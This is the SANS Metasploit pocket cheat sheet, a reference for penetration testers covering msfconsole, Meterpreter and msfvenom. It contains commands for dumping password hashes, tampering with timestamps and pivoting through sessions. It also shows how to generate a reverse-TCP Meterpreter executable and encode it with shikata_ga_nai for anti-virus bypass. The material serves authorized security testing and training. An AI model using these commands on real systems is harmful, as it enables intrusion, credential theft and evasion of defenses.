Meterpreter Post Modules

With an available Meterpreter session, post modules can be run on the target machine.

Post Modules from Meterpreter

```
meterpreter > run post/multi/gather/env
```

Post Modules on a Backgrounded Session

```
msf > use post/windows/gather/hashdump
msf > show options
msf > set SESSION 1
msf > run
```

Useful Auxiliary Modules

Port Scanner:

```
msf > use
auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24
msf > run
```

DNS Enumeration

```
msf > use auxiliary/gather/dns_enum
msf > set DOMAIN target.tgt
msf > run
```

FTP Server

```
msf > use auxiliary/server/ftp
msf > set FTPROOT /tmp/ftproot
msf > run
```

Proxy Server

```
msf > use auxiliary/server/socks4
msf > run
```

Any proxied traffic that matches the subnet of a route will be routed through the session specified by route.

Use proxychains configured for socks4 to route any applications traffic through a Meterpreter session.

msfvenom

The msfvenom tool can be used to generate Metasploit payloads (such as Meterpreter) as standalone files and optionally encode them. This tool replaces the now removed msfpayload and msfencode. Run with a ''–l payloads' gives a list of payloads.

```
$ msfvenom –p [ExploitPath]
LHOST=[LocalHost (if reverse conn.)]
LPORT=[LocalPort] –f [FormatType]
```

Example

Reverse Meterpreter payload as an executable and redirected into a file:

```
$ msfvenom -p
windows/meterpreter/reverse_tcp
LHOST=10.1.1.1 LPORT=4444 –f exe > met.exe
```

Format Options (specified with –f)

--help-formats – Print out a summary of the specified options
exe – Executable
pl – Perl
rb – Ruby
raw – Raw shellcode
c – C code

Encoding Payloads with msfvenom

The msfvenom tool can be used to apply a level of encoding for anti-virus bypass. Run with '-l encoders' gives a list of encoders.

```
$ msfvenom –p [Payload] -e [Encoder] -f
[FormatType (exe, perl, ruby, raw, c)] -i
[EncodeInterations] -o [OutputFilename]
```

Example

Encode a payload from msfpayload 5 times using shikata-ga-nai encoder and output as executable:

```
$ msfvenom –p
windows/meterpreter/reverse_tcp -i 5  -e
x86/shikata_ga_nai -f exe -o mal.exe
```

Metasploit Cheat Sheet

By Ed Skoudis and Yori Kvitchko

POCKET REFERENCE GUIDE

http://www.sans.org

Purpose

The purpose of this cheat sheet is to describe some common options for some of the various components of the Metasploit Framework

Tools Described on This Sheet

Metasploit
The Metasploit Framework is a development platform for developing and using security tools and exploits.

Metasploit Meterpreter
The Meterpreter is a payload within the Metasploit Framework which provides control over an exploited target system, running as a DLL loaded inside of any process on a target machine.

Metasploit msfvenom
The msfvenom tool is component of the Metasploit Framework which allows the user to generate a standalone version of any payload within the framework. Payloads can be generated in a variety of formats including executable, Perl script and raw shellcode. This payload can also be encoded to help avoid detection, thus encapsulating both msfpayload and msfencode functionality.

Metasploit Console Basics (msfconsole)

Search for module:
`msf > ` **`search [regex]`**

Specify and exploit to use:
`msf > ` **`use exploit/[ExploitPath]`**

Specify a Payload to use:
`msf > ` **`set PAYLOAD [PayloadPath]`**

Show options for the current modules:
`msf > ` **`show options`**

Set options:
`msf > ` **`set [Option] [Value]`**

Start exploit:
`msf > ` **`exploit`**

Metasploit Meterpreter

Base Commands:
`? / help`: Display a summary of commands
`exit / quit`: Exit the Meterpreter session
`sysinfo`: Show the system name and OS type
`shutdown / reboot`: Self-explanatory

File System Commands:
`cd`: Change directory
`lcd`: Change directory on local (attacker's) machine
`pwd / getwd`: Display current working directory
`ls`: Show the contents of the directory
`cat`: Display the contents of a file on screen
`download / upload`: Move files to/from the target machine
`mkdir / rmdir`: Make / remove directory
`edit`: Open a file in the default editor (typically vi)

Metasploit Meterpreter (contd)

Process Commands:
`getpid`: Display the process ID that Meterpreter is running inside
`getuid`: Display the user ID that Meterpreter is running with
`ps`: Display process list
`kill`: Terminate a process given its process ID
`execute`: Run a given program with the privileges of the process the Meterpreter is loaded in
`migrate`: Jump to a given destination process ID
- Target process must have same or lesser privileges
- Target process may be a more stable process
- When inside a process, can access any files that process has a lock on

Network Commands:
`ipconfig`: Show network interface information
`portfwd`: Forward packets through TCP session
`route`: Manage/view the system's routing table

Misc Commands:
`idletime`: Display the duration that the GUI of the target machine has been idle
`uictl [enable/disable]`
`[keyboard/mouse]`: Enable/disable either the mouse or keyboard of the target machine
`screenshot`: Save as an image a screenshot of the target machine

Additional Modules:
`use [module]`: Load the specified module
  Example:
    `use priv`: Load the priv module
    `hashdump`: Dump the hashes from the box
    `timestomp`: Alter NTFS file timestamps

Managing Sessions

Multiple Exploitation:

Run the exploit expecting a single session that is immediately backgrounded:
`msf > ` **`exploit -z`**

Run the exploit in the background expecting one or more sessions that are immediately backgrounded:
`msf > ` **`exploit -j`**

List all current jobs (usually exploit listeners):
`msf > ` **`jobs -l`**

Kill a job:
`msf > ` **`jobs -k [JobID]`**

Multiple Sessions:

List all backgrounded sessions:
`msf > ` **`sessions -l`**

Interact with a backgrounded sessions:
`msf > ` **`session -i [SessionID]`**

Background the current interactive session:
`meterpreter > ` **`<Ctrl+Z>`**
or
`meterpreter > ` **`background`**

Routing Through Sessions:

All modules (exploits/post/aux) against the target subnet mask will be pivoted through this session.
`msf > ` **`route add [Subnet to Route To]`**
`[Subnet Netmask] [SessionID]`